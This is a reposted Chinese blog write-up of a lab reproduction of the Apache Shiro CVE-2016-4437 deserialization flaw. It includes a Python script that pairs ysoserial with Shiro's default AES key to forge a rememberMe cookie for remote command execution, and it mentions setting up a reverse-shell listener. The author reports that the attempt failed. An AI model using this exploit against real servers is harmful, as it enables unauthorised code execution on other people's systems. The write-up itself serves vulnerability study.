ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

Apache shiro cve-2016-4437复现

2022-02-05 22:03:55  阅读:255  来源: 互联网

标签:__ AES base64 subprocess 4437 BS Apache import cve


漏洞描述

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

漏洞条件

shiro版本 <=1.2.4

漏洞复现

image-20211120213044618

抓包发现,有rememberMe=deleteMe,判断是shiro。。

image-20211120215920026

反弹shell编码网站https://www.jackson-t.ca/runtime-exec-payloads.html

使用ysoserial监听端口

image-20211121101141085

本地监听端口

image-20211121101216988

然后修改Cookie,将下面脚本生成的payload,再次发包。

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):

    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

image-20211121103927534但是,没有任何反应。。。。。。。

练习题目可以看看----红明谷21的javaweb

参考

https://cloud.tencent.com/developer/article/1540882

https://www.freebuf.com/vuls/284529.html

标签:__,AES,base64,subprocess,4437,BS,Apache,import,cve
来源: https://www.cnblogs.com/OutBxx/p/15864909.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有